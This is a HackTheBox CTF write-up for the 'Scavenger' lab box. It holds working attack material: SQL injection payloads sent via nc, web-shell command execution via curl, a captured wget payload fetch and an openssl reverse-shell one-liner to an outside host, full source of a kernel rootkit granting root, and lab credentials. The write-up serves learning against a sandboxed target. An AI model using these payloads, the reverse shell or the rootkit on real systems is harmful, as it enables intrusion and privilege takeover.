Scavenger – HackTheBox WriteUp

post image

Summary

Scavenger just retired today. It was a very interesting box and I had lots of fun exploiting a box that was already pwned by an (imaginary) attacker. Also, I loved the Silicon Valley theme. Its IP address is 10.10.10.155 and I added it to /etc/hosts as scavenger.htb. Without further ado, let’s jump right in!

Scanning & Web App Enumeration

A light nmap scan offered me enough information to get started:

root@fury-battlestation:~/htb/blog/scavenger# nmap -sV -O scavenger.htb -oN scan.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-01 11:16 EST
Nmap scan report for scavenger.htb (10.10.10.155)
Host is up (0.15s latency).
Not shown: 993 filtered ports
PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
21/tcp open   ftp      vsftpd 3.0.3
22/tcp open   ssh      OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
25/tcp open   smtp     Exim smtpd 4.89
43/tcp open   whois?
53/tcp open   domain   ISC BIND 9.10.3-P4 (Debian Linux)
80/tcp open   http     Apache httpd 2.4.25 ((Debian))
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port43-TCP:V=7.80%I=7%D=12/1%Time=5DE3E773%P=x86_64-pc-linux-gnu%r(Gene
[...]
SF:osting\.htb\r\n%\x20This\x20query\x20returned\x200\x20object\r\n);
Device type: firewall
Running (JUST GUESSING): Fortinet embedded (87%)
OS CPE: cpe:/h:fortinet:fortigate_100d
Aggressive OS guesses: Fortinet FortiGate 100D firewall (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: ib01.supersechosting.htb; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.66 seconds
root@fury-battlestation:~/htb/blog/scavenger#

After reading the results, I tried to access port 80 to search for vulnerable applications. I was surprised when I got an error:

That error seemed rather familiar to me, as I once had an issue with an app I built. Basically, apache (and maybe other software) has the ability to serve multiple web addresses on the same port. This application-separated hosts are called virtualhosts.

The error basically told me that I first needed to find a valid domain and point it to the box’ IP address (and, as you will see later, there are multiple valid domains). Before I started enumerating the other ports, I read the nmap report again and noticed an interesting line:

Service Info: Host: ib01.supersechosting.htb; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

I added supersechosting.htb to /etc/hosts and tried to access it in a browser:

It worked! However, I wasn’t able to find anything interesting on the site, so I moved on and started enumerating the other ports.

Finding More Domains

I knew that I should probably be looking for new domains, so I focused my energy on port 43 (WHOIS) and 53 (DNS). I found port 43 to be quite interesting, as I couldn’t find the software that was running on it:

root@fury-battlestation:~/htb/blog/scavenger# echo 'test' | nc scavenger.htb 43
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 0 object
root@fury-battlestation:~/htb/blog/scavenger#

Theoretically, the word ‘query’ (and the banner that included the server’s MariaDB version) should have tipped me off that the app is vulnerable to an SQL injection, however, I have to admit that I found the vulnerability by mistake wjile testing for something else.

root@fury-battlestation:~/htb/blog/scavenger# echo ";" | nc scavenger.htb 43
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ;;;;) limit 1; at line 1

I leveraged the new-found vulnerability and retrieved the version of database software that the server was running:

root@fury-battlestation:~/htb/blog/scavenger# echo ";) UNION SELECT @@version,2 #" | nc scavenger.htb 43
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
10.1.37-MariaDB-0+deb9u1

Next, I listed all the user-created databases:

root@fury-battlestation:~/htb/blog/scavenger# echo ";) UNION SELECT table_name,2 from information_schema.tables WHERE table_schema not in (;information_schema;,;mysql;,;performance_schema;,;sys;) #" | nc scavenger.htb 43
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 1 object
customers

There was only one table called customers, so I went further and started enumerating its columns:

root@fury-battlestation:~/htb/blog/scavenger# echo ";) UNION SELECT CONCAT(column_name, ; ;), 2 FROM information_schema.columns where table_name = ;customers; #" | nc scavenger.htb 43
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 3 object
id domain data 

After that, I listed all entries of the domain column hoping to find new vhosts:

root@fury-battlestation:~/htb/blog/scavenger# echo ";) UNION SELECT CONCAT(domain, ; ;), 2 FROM customers #" | nc scavenger.htb 43
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit http://www.supersechosting.htb
% This query returned 4 object
supersechosting.htb justanotherblog.htb pwnhats.htb rentahacker.htb

It turned out there were 3 more domains. I tried exploiting the SQL injection further, but I had no success.

The 3 Domains

I added the newly-discovered domains in my /etc/hosts file and quickly inspected all of them to see if I could find any vulnerability.

The first one, justanotherblog.htb, only hosted an ‘Under Construction’ page:

The second one, pwnhats.htb, was pretty funny, as it hosted a hacker hat store named PWNHats:)

The last site, rentahacker.htb, was using a default WordPress theme and offered ‘heap hacking services’:

The comment section of the last site was pretty interesting to me:

In the last comment, the ‘31173 HAXXOR team’ stated that they had successfully compromised the system. They also mentioned a bug tracker, so I started searching for it, hoping to find the remains of the above-mentioned hack (the box name is ‘Scavenger for a reason 🙂 )

DNS Enumeration & The Bug Tracker

After running dirb with multiple wordlists and extensions, I didn’t manage to find any bug tracker, so I concluded that it was hosted on another subdomain. I first tried to ask the DNS server for all the sub-domains and it worked:

root@fury-battlestation:~/htb/blog/scavenger# host -l rentahacker.htb ns1.supersechosting.htb
Using domain server:
Name: ns1.supersechosting.htb
Address: 10.10.10.155#53
Aliases: 

rentahacker.htb name server ns1.supersechosting.htb.
rentahacker.htb has address 10.10.10.155
mail1.rentahacker.htb has address 10.10.10.155
sec03.rentahacker.htb has address 10.10.10.155
www.rentahacker.htb has address 10.10.10.155
root@fury-battlestation:~/htb/blog/scavenger#

The sec03.rentahacker.htb sub-domain was the one defaced by the hackers:

After discovering that page, I rand dirb again, this time on the newly found sub-domain:

root@fury-battlestation:~/htb/blog/scavenger# dirb http://sec03.rentahacker.htb/ -X .php

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Dec  8 06:47:18 2019
URL_BASE: http://sec03.rentahacker.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://sec03.rentahacker.htb/ ----
+ http://sec03.rentahacker.htb/core.php (CODE:200|SIZE:0)                                        
+ http://sec03.rentahacker.htb/index.php (CODE:302|SIZE:0)                                       
+ http://sec03.rentahacker.htb/login.php (CODE:200|SIZE:4712)                                    
+ http://sec03.rentahacker.htb/plugin.php (CODE:200|SIZE:4669)                                   
+ http://sec03.rentahacker.htb/search.php (CODE:302|SIZE:0)                                      
+ http://sec03.rentahacker.htb/shell.php (CODE:200|SIZE:0)                                       
+ http://sec03.rentahacker.htb/signup.php (CODE:200|SIZE:4729)                                   
+ http://sec03.rentahacker.htb/view.php (CODE:200|SIZE:4667)                                     
+ http://sec03.rentahacker.htb/wiki.php (CODE:200|SIZE:4667)                                     
                                                                                                 
-----------------
END_TIME: Sun Dec  8 06:58:36 2019
DOWNLOADED: 4612 - FOUND: 9
root@fury-battlestation:~/htb/blog/scavenger#

shell.php caught my attention immediately. I thought that attackers could have used this file to execute commands, but I didn’t know what parameter was used to pass the command. I used wfuzz to discover it:

root@fury-battlestation:~/htb/blog/scavenger# wfuzz -c --hl=0 -z file,/usr/share/wordlists/wfuzz/general/big.txt http://sec03.rentahacker.htb/shell.php?FUZZ=ls

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz;s documentation for more information.

libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module named 'shodan'
libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module named 'shodan'
********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://sec03.rentahacker.htb/shell.php?FUZZ=ls
Total requests: 3024

===================================================================
ID           Response   Lines    Word     Chars       Payload                         
===================================================================

000001289:   200        225 L    225 W    4907 Ch     "hidden"                        

Total time: 59.38107
Processed Requests: 3024
Filtered Requests: 3023
Requests/sec.: 50.92531

root@fury-battlestation:~/htb/blog/scavenger# 

When I tried supplying the hidden parameter to shell.php, the command I provided was executed and the output was returned in plaintext:

root@fury-battlestation:~/htb/blog/scavenger# curl "http://sec03.rentahacker.htb/shell.php?hidden=whoami;id"
ib01c03
uid=1003(ib01c03) gid=1004(customers) groups=1004(customers)
root@fury-battlestation:~/htb/blog/scavenger#

It worked! However, ib01c03 does not have a user.txt file in ~ 🙁

Getting user.txt

After some initial enumeration, I found an interesting mail in /var/spool/mail/ib01c03:

root@fury-battlestation:~/htb/blog/scavenger# curl "http://sec03.rentahacker.htb/shell.php?hidden=cat%20/var/spool/mail/ib01c03"
From support@ib01.supersechosting.htb Mon Dec 10 21:10:56 2018
Return-path: <support@ib01.supersechosting.htb>
Envelope-to: ib01c03@ib01.supersechosting.htb
Delivery-date: Mon, 10 Dec 2018 21:10:56 +0100
Received: from support by ib01.supersechosting.htb with local (Exim 4.89)
	(envelope-from <support@ib01.supersechosting.htb>)
	id 1gWRtI-0000ZK-8Q
	for ib01c03@ib01.supersechosting.htb; Mon, 10 Dec 2018 21:10:56 +0100
To: <ib01c03@ib01.supersechosting.htb>
Subject: Re: Please help! Site Defaced!
In-Reply-To: Your message of Mon, 10 Dec 2018 21:04:49 +0100
	<E1gWRnN-0000XA-44@ib01.supersechosting.htb>
References: <E1gWRnN-0000XA-44@ib01.supersechosting.htb>
X-Mailer: mail (GNU Mailutils 3.1.1)
Message-Id: <E1gWRtI-0000ZK-8Q@ib01.supersechosting.htb>
From: support <support@ib01.supersechosting.htb>
Date: Mon, 10 Dec 2018 21:10:56 +0100
X-IMAPbase: 1544472964 2
Status: O
X-UID: 1

>> Please we need your help. Our site has been defaced!
>> What we should do now?
>>
>> rentahacker.htb

Hi, we will check when possible. We are working on another incident right now. We just make a backup of the apache logs.
Please check if there is any strange file in your web root and upload it to the ftp server:
ftp.supersechosting.htb
user: ib01ftp
pass: YhgRt56_Ta

Thanks.

root@fury-battlestation:~/htb/blog/scavenger#

I used the credentials provided in the mail to connect to the FTP server:

root@fury-battlestation:~/htb/blog/scavenger# ftp scavenger.htb
Connected to scavenger.htb.
220 (vsFTPd 3.0.3)
Name (scavenger.htb:root): ib01ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xrwx---    3 1005     1000         4096 Dec 10  2018 .
drwxr-xr-x    8 0        0            4096 Dec 07  2018 ..
dr-xrwx---    4 1005     1000         4096 Dec 10  2018 incidents
226 Directory send OK.
ftp> cd incidents
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xrwx---    4 1005     1000         4096 Dec 10  2018 .
dr-xrwx---    3 1005     1000         4096 Dec 10  2018 ..
dr-xrwx---    2 1005     1000         4096 Jan 30  2019 ib01c01
dr-xrwx---    2 1005     1000         4096 Dec 10  2018 ib01c03
226 Directory send OK.
ftp>

I immediately noticed that there were 2 folders made for 2 different users. However, I could access both of them. ib01c03’s folder was empty, however, I found some interesting files in ib01c01’s folder:

ftp> cd ib01c01
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xrwx---    2 1005     1000         4096 Jan 30  2019 .
dr-xrwx---    4 1005     1000         4096 Dec 10  2018 ..
-r--rw-r--    1 1005     1000        10427 Dec 10  2018 ib01c01.access.log
-rw-r--r--    1 1000     1000       835084 Dec 10  2018 ib01c01_incident.pcap
-r--rw-r--    1 1005     1000          173 Dec 11  2018 notes.txt
226 Directory send OK.
ftp> mget *
mget ib01c01.access.log? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ib01c01.access.log (10427 bytes).
226 Transfer complete.
10427 bytes received in 0.01 secs (1.0516 MB/s)
mget ib01c01_incident.pcap? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ib01c01_incident.pcap (835084 bytes).
226 Transfer complete.
835084 bytes received in 2.08 secs (392.5966 kB/s)
mget notes.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for notes.txt (173 bytes).
226 Transfer complete.
173 bytes received in 0.00 secs (267.3185 kB/s)
ftp> 

The ‘notes.txt’ file revealed that there was another attack that targeted another client (ib01c01):

root@fury-battlestation:~/htb/blog/scavenger# cat notes.txt 
After checking the logs and the network capture, all points to that the attacker knows valid credentials and abused a recently discovered vuln to gain access to the server!

The first lines of the ‘access.log’ file revealed that ib01c01 was the owner of ‘pwnhats.htb’:

root@fury-battlestation:~/htb/blog/scavenger# head -n 5 ib01c01.access.log 
10.0.2.19 - - [10/Dec/2018:21:51:00 +0100] "GET /admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201 HTTP/1.1" 200 2787 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.0.2.19 - - [10/Dec/2018:21:51:00 +0100] "GET /admin530o6uisg/themes/default/css/overrides.css HTTP/1.1" 200 555 "http://www.pwnhats.htb/admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.0.2.19 - - [10/Dec/2018:21:51:00 +0100] "GET /js/jquery/jquery-migrate-1.2.1.min.js HTTP/1.1" 200 3414 "http://www.pwnhats.htb/admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.0.2.19 - - [10/Dec/2018:21:51:00 +0100] "GET /js/jquery/plugins/jquery.validate.js HTTP/1.1" 200 6713 "http://www.pwnhats.htb/admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.0.2.19 - - [10/Dec/2018:21:51:00 +0100] "GET /admin530o6uisg/themes/default/public/theme.css HTTP/1.1" 200 62357 "http://www.pwnhats.htb/admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
root@fury-battlestation:~/htb/blog/scavenger#

In order to find the valid password, I simply used strings on the pcap file:

root@fury-battlestation:~/htb/blog/scavenger# strings ib01c01_incident.pcap  | grep passwd
ajax=1&token=&controller=AdminLogin&submitLogin=1&passwd=pwnhats.htb&email=admin%40pwnhats.htb&redirect=http%3A%2F%2Fwww.pwnhats.htb%2Fadmin530o6uisg%2F%26token%3De44d0ae2213d01986912abc63712a05b
						<label class="control-label" for="passwd">
						<input name="passwd" type="password" id="passwd" class="form-control" value="" tabindex="2" placeholder=" Password" />
ajax=1&token=&controller=AdminLogin&submitLogin=1&passwd=GetYouAH4t%21&email=pwnhats%40pwnhats.htb&redirect=http%3a//www.pwnhats.htb/admin530o6uisg/%26token%3de44d0ae2213d01986912abc63712a05b
root@fury-battlestation:~/htb/blog/scavenger#

The password for ‘pwnhats@pwnhats.htb’ was ‘GetYouAH4t!’. I tried using the credentials to access the admin panel, but the dashboard was very slow. I also tried exploiting the vulnerability the attacker used, but I wasn’t able to do that either. After a lot of thinking, I tried using the same password for ib01c01’s FTP and it worked:

root@fury-battlestation:~/htb/blog/scavenger# ftp scavenger.htb
Connected to scavenger.htb.
220 (vsFTPd 3.0.3)
Name (scavenger.htb:root): ib01c01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx------    4 1001     1004         4096 Feb 01  2019 .
drwxr-xr-x    8 0        0            4096 Dec 07  2018 ..
drwxr-xr-x    2 1001     1004         4096 Feb 02  2019 ...
-rw-------    1 0        0               0 Dec 11  2018 .bash_history
-rw-------    1 1001     1004           32 Jan 30  2019 access.txt
-rw-r--r--    1 1001     1004     68175351 Dec 07  2018 prestashop_1.7.4.4.zip
-rw-r-----    1 0        1004           33 Dec 07  2018 user.txt
drwxr-xr-x   26 1001     1004         4096 Dec 10  2018 www
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (127.8832 kB/s)
ftp> 

As always, I won’t post the user proof here; I will only say that it starts with ‘6f’.

Finding the rootkit

After getting the user.txt file, I started searching for a privesc method, but I got stuck. After going through everything again, I found a TCP stream (tcp.stream eq 26) in the pcap file that contained some of the attacker’s commands:

ls
ajax-tab.php
ajax.php
ajax_products_list.php
autoupgrade
backup.php
backups
bootstrap.php
cron_currency_rates.php
displayImage.php
drawer.php
export
favicon.ico
filemanager
footer.inc.php
functions.php
get-file-admin.php
grider.php
header.inc.php
import
index.php
init.php
pdf.php
public
robots.txt
searchcron.php
themes
webpack.config.js
cd /tmp
ls -la
total 8
drwxrwxrwt  2 root    root      4096 Dec 10 21:52 .
drwxr-xr-x 22 root    root      4096 Dec  4 21:20 ..
prw-r--r--  1 ib01c01 customers    0 Dec 10 21:52 osfiftm
wget 10.0.2.19/Makefile
--2018-12-10 21:53:00--  http://10.0.2.19/Makefile
Connecting to 10.0.2.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 154 [application/octet-stream]
Saving to: 'Makefile'

     0K                                                       100% 19.0M=0s

2018-12-10 21:53:00 (19.0 MB/s) - 'Makefile' saved [154/154]

wget 10.0.2.19/root.c
--2018-12-10 21:53:20--  http://10.0.2.19/root.c
Connecting to 10.0.2.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3094 (3.0K) [text/plain]
Saving to: 'root.c'

     0K ...                                                   100%  318M=0s

2018-12-10 21:53:20 (318 MB/s) - 'root.c' saved [3094/3094]

mkfifo /tmp/rH7dQR; /bin/bash -i 2>&1 < /tmp/rH7dQR | openssl s_client -quiet -connect 10.0.2.19:4445 > /tmp/rH7dQR; rm /tmp/rH7dQR
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
verify error:num=18:self signed certificate
verify return:1
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
verify return:1

Basically, the attacker downloaded some files and then upgraded his shell to a SSL-encrypted one. After some searching, I was able to locate the source code of root.c:

#include <linux/init.h>   
#include <linux/module.h> 
#include <linux/kernel.h>
#include <linux/device.h>
#include <linux/fs.h>    
#include <asm/uaccess.h>
#include <linux/slab.h>
#include <linux/syscalls.h>
#include <linux/types.h>
#include <linux/cdev.h>
#include <linux/cred.h>
#include <linux/version.h>

#define  DEVICE_NAME "ttyR0" 
#define  CLASS_NAME  "ttyR"

#if LINUX_VERSION_CODE > KERNEL_VERSION(3,4,0)
#define V(x) x.val
#else
#define V(x) x
#endif

// Prototypes
static int     __init root_init(void);
static void    __exit root_exit(void);
static int     root_open  (struct inode *inode, struct file *f);
static ssize_t root_read  (struct file *f, char *buf, size_t len, loff_t *off);
static ssize_t root_write (struct file *f, const char __user *buf, size_t len, loff_t *off);

// Module info
MODULE_LICENSE("GPL"); 
MODULE_AUTHOR("pico");
MODULE_DESCRIPTION("Got r00t!."); 
MODULE_VERSION("0.1"); 

static int            majorNumber; 
static struct class*  rootcharClass  = NULL;
static struct device* rootcharDevice = NULL;

static struct file_operations fops =
{
  .owner = THIS_MODULE,
  .open = root_open,
  .read = root_read,
  .write = root_write,
};

static int
root_open (struct inode *inode, struct file *f)
{
   return 0;
}

static ssize_t
root_read (struct file *f, char *buf, size_t len, loff_t *off)
{
  return len;
}

static ssize_t
root_write (struct file *f, const char __user *buf, size_t len, loff_t *off)
{ 
  char   *data;
  char   magic[] = "g0tR0ot";

  struct cred *new_cred;
  
  data = (char *) kmalloc (len + 1, GFP_KERNEL);
    
  if (data)
    {
      copy_from_user (data, buf, len);
        if (memcmp(data, magic, 7) == 0)
	  {
	    if ((new_cred = prepare_creds ()) == NULL)
	      {
		return 0;
	      }
	    V(new_cred->uid) = V(new_cred->gid) =  0;
	    V(new_cred->euid) = V(new_cred->egid) = 0;
	    V(new_cred->suid) = V(new_cred->sgid) = 0;
	    V(new_cred->fsuid) = V(new_cred->fsgid) = 0;
	    commit_creds (new_cred);
	  }
        kfree(data);
      }
    
    return len;
}


static int __init
root_init(void)
{
  // Create char device
  if ((majorNumber = register_chrdev(0, DEVICE_NAME, &fops)) < 0)
    {
      return majorNumber;
    }
 
   // Register the device class
   rootcharClass = class_create(THIS_MODULE, CLASS_NAME);
   if (IS_ERR(rootcharClass))
     {
       unregister_chrdev(majorNumber, DEVICE_NAME);
       return PTR_ERR(rootcharClass); 
   }
 
   // Register the device driver
   rootcharDevice = device_create(rootcharClass, NULL,
				  MKDEV(majorNumber, 0), NULL, DEVICE_NAME);
   if (IS_ERR(rootcharDevice))
     {
       class_destroy(rootcharClass);
       unregister_chrdev(majorNumber, DEVICE_NAME);
       return PTR_ERR(rootcharDevice);
     }

    return 0;    
}

static void __exit
root_exit(void) 
{
  // Destroy the device
  device_destroy(rootcharClass, MKDEV(majorNumber, 0));
  class_unregister(rootcharClass);                     
  class_destroy(rootcharClass);                        
  unregister_chrdev(majorNumber, DEVICE_NAME);     
}


module_init(root_init);
module_exit(root_exit);

The source code was clearly copied from this site. Basically, any process that would write a magic string to /dev/ttyR0 would get root privileges. However, the default string wouldn;t work, because the attacker probably changed the magic string to something else (I called it magic string because that;s how the author of the code named it; it doesn;t have anything to do with unicorns).

I knew that I needed to get the .ko file or the modified source code in order to find the modified magic string, however, I had a very hard time doing that, mainly because I used shell.php to try and locate it. As it turned out, the file was hidden inside ib01c01;s files:

root@fury-battlestation:~/htb/blog/scavenger# ftp scavenger.htb
Connected to scavenger.htb.
220 (vsFTPd 3.0.3)
Name (scavenger.htb:root): ib01c01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx------    4 1001     1004         4096 Feb 01  2019 .
drwxr-xr-x    8 0        0            4096 Dec 07  2018 ..
drwxr-xr-x    2 1001     1004         4096 Feb 02  2019 ...
-rw-------    1 0        0               0 Dec 11  2018 .bash_history
-rw-------    1 1001     1004           32 Jan 30  2019 access.txt
-rw-r--r--    1 1001     1004     68175351 Dec 07  2018 prestashop_1.7.4.4.zip
-rw-r-----    1 0        1004           33 Dec 07  2018 user.txt
drwxr-xr-x   26 1001     1004         4096 Dec 10  2018 www
226 Directory send OK.
ftp>

Did you see it? Read the folders again, this time more carefully. Still didn;t see it? Well, me neither. However, after reading that list a lot of times, I finally realised that … is a user-created directory:

ftp> cd ...
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1004         4096 Feb 02  2019 .
drwx------    4 1001     1004         4096 Feb 01  2019 ..
-rw-r--r--    1 0        0          399400 Feb 02  2019 root.ko
226 Directory send OK.
ftp> 

Getting root.txt

After downloading root.ko, I opened it in ghidra and read the root_write function, which compared the data written to the character device with the magic string. You can find below a snippet of the code:

/* WARNING: Could not reconcile some variable overlaps */

ssize_t root_write(file *f,char *buf,size_t len,loff_t *off)

{
  long lVar1;
  int iVar2;
  void *__s1;
  long lVar3;
  ulong uVar4;
  ulong extraout_RDX;
  long in_GS_OFFSET;
  char a [4];
  char b [5];
  char magic [8];
  
  __fentry__();
  lVar1 = *(long *)(in_GS_OFFSET + 0x28);
  a = 0x743367;
  b._0_4_ = 0x76317250;
  magic = 0x746f3052743067;
  b[4] = 0;
  __s1 = (void *)__kmalloc(extraout_RDX + 1,0x24000c0);
  if (__s1 == (void *)0x0) {
    printk(&DAT_00100358);
    uVar4 = extraout_RDX;
  }
  else {
    __check_object_size(__s1,extraout_RDX,0);
    _copy_from_user(__s1,buf,extraout_RDX & 0xffffffff);
    snprintf(magic,8,"%s%s",a,b);
    iVar2 = memcmp(__s1,magic,7);
    if (iVar2 == 0) {
      lVar3 = prepare_creds();
      if (lVar3 == 0) {
        printk("ttyRK: Cannot prepare credentials\n");
        uVar4 = 0;
        goto LAB_001000b9;
      }
      printk("ttyRK: You got it.\n");

Basically, the magic variable (which holds the magic string, duh) starts with the value ‘to0Rt0g’, which is g0tR0ot read backwards. However, before the comparison, it is modified to the concatenation of a and b. If a represents ‘t3g’ and b ‘v1rP’, the concatenation would be ‘g3tPr1v’ (don’t forget to read a and b backwards!). I used shell.php to execute the command that would elevate my shell’s privilege:

root@fury-battlestation:~/htb/blog/scavenger# curl "http://sec03.rentahacker.htb/shell.php?hidden=echo%20g3tPr1v%20%3E%20/dev/ttyR0;%20id"
uid=0(root) gid=0(root) groups=0(root),1004(customers)
root@fury-battlestation:~/htb/blog/scavenger#

For those of you who don;t want to urldecode online, I just executed ;echo g3tPr1v > /dev/ttyR0; id;

The root flag starts with ‘4a’ 😉

If you liked this post and want to support me, please follow me on Twitter 🙂

Until next time, hack the world.

yakuhito, over.

Published on February 28, 2020